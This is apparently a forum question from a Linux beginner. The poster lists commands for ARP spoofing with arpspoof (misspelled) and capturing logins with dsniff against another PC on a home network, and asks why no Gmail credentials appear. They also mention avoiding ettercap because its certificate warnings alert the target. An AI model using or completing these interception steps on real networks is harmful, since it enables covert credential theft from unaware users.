I am totally new to linux. I am playing with sniffing tools. For dnsiff, this is what I am doing right now:

Router is: 192.168.0.1
PC to sniff: 192.168.0.2
I am: 192.168.0.3

This is the order of entering commands:

echo 1 > /proc/sys/net/ipv4/ip_forward
arspoof -i wlan0 -t 192.168.0.2 192.168.0.1 2>/dev/null 1>/dev/null &
arspoof -i wlan0 -t 192.168.0.1 192.168.0.2 2>/dev/null 1>/dev/null &
dsniff -i wlan0
But then nothing happens afterwards. I go to 192.168.0.2 and log-into gmail, and other websites, but nothing shows up in terminal window. Am I supposed to do things different, or do something in addition to these?? If I use ettercap, to many security certificate errors come up on computer being sniffed, so I am not using ettercap.